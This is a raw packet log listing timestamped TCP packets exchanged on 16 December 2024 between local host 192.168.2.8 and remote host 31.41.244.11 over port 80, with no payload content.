Dec 16, 2024 13:16:23.314001083 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.314049959 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.314857960 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.314868927 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.314902067 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.315907001 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.315917969 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.315943956 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.315968990 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.317131996 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.317142963 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.317183018 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.318022013 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.318032026 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.318068027 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.319102049 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.319252968 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.319292068 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.320090055 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.320143938 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.320221901 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.321451902 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.321502924 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.321572065 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.322048903 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.322422981 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.322433949 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.322467089 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.323457956 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.326061010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.458050013 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.458062887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.458149910 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.458273888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.458832979 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.458875895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.459359884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.459371090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.459511042 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.460380077 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.460391045 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.460443974 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.461450100 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.461460114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.461500883 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.462542057 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.462554932 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.462589979 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.463639975 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.463651896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.463680983 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.463707924 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.464696884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.464728117 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.464764118 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.465692997 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.465730906 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.465779066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.466757059 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.466811895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.466890097 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.467892885 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.467925072 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.467936993 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.467957973 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.468878984 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.468935013 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.468972921 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.469006062 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.469948053 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.469996929 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.470056057 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.471242905 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.471254110 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.471293926 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.472182035 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.472193003 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.472232103 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.473155975 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.474055052 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.474071026 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.474225998 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.474261045 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.474323034 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.475366116 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.475377083 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.475406885 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.476382971 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.477349043 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.477396011 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.477441072 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.477699041 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.477740049 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.478507042 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.478653908 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.478665113 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.478697062 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.479651928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.479716063 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.479788065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.480901957 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.480914116 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.480954885 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.481715918 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.482060909 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.482064009 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.482099056 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.482769966 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.482810974 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.483079910 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.483115911 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.483851910 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.483870983 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.483913898 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.484899998 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.484987974 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.485030890 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.485975027 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.486012936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.486083984 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.487050056 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.487095118 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.487188101 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.488198042 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.488218069 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.488234043 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.488255024 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.489252090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.490056992 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.490081072 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.490101099 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.490236998 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.490278006 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.490319014 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.490374088 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.491317987 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.491355896 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.491425991 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.492471933 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.492481947 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.492513895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.492537022 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.493438005 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.493583918 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.493622065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.494581938 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.494649887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.494690895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.495625019 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.495662928 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.495699883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.496685028 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.496757030 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.496767998 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.497785091 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.497833967 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.497848034 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.497869968 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.498980045 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.498991013 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.499030113 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.499950886 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.500102043 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.500163078 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.501007080 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.501019955 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.501054049 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.502054930 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.502582073 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.502624989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.503135920 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.503365040 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.503403902 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.504199982 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.504442930 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.504479885 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.505491972 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.505501986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.505526066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.505544901 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.506310940 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.506354094 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.506432056 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.506464005 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.507699966 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.507710934 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.507750988 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.508627892 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.508637905 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.508682013 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.509608030 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.509622097 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.509665966 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.510749102 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.510760069 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.510808945 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.510828972 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.511786938 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.511799097 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.511828899 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.511848927 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.512842894 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.512854099 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.512949944 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.514053106 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.514089108 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.649597883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.649725914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.649864912 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.649993896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.650053024 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.650120020 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.651386023 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.651433945 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.651468039 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.652295113 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.652304888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.652337074 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.652353048 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.653387070 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.653398991 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.653435946 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.654333115 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.654380083 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.654417038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.654489994 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.655361891 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.655764103 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.655808926 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.656546116 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.656699896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.656747103 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.657560110 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.657572031 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.657613039 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.658679008 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.658691883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.658730030 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.659758091 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.659770966 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.659805059 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.660811901 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.660873890 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.660892963 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.660923958 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.661866903 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.661880970 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.661926031 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.662939072 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.662997961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.663048029 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.664136887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.664155006 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.664196014 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.665127039 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.665139914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.665179968 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.666292906 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.666305065 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.666343927 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.667248011 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.667259932 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.667292118 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.668256044 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.668298006 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.668315887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.668787003 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.669502020 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.669512987 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.669575930 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.669575930 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.670450926 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.670463085 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.670511007 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.671530008 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.671541929 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.671597004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.672540903 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.672552109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.672585011 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.673680067 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.673691988 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.673724890 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.674707890 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.674719095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.674755096 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.675823927 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.675834894 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.675863028 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.675885916 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.676889896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.676899910 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.676928997 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.676949024 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.678061008 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.678107023 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.678164959 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.679122925 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.679364920 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.679406881 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.679999113 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.680073023 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.680126905 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.681035042 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.681078911 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.681274891 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.682092905 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.682132959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.682169914 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.682183981 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.682220936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.683202028 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.683268070 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.683336973 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.684289932 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.684300900 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.684338093 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.685415983 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.685427904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.685472012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.686450005 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.686461926 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.686503887 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.687577009 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.687587023 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.687629938 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.688646078 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.688658953 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.688688040 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.688711882 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.689665079 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.689676046 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.689712048 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.690666914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.691270113 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.691323996 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.691801071 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.691811085 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.691839933 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.691858053 CET	49724	80	192.168.2.8	31.41.244.11
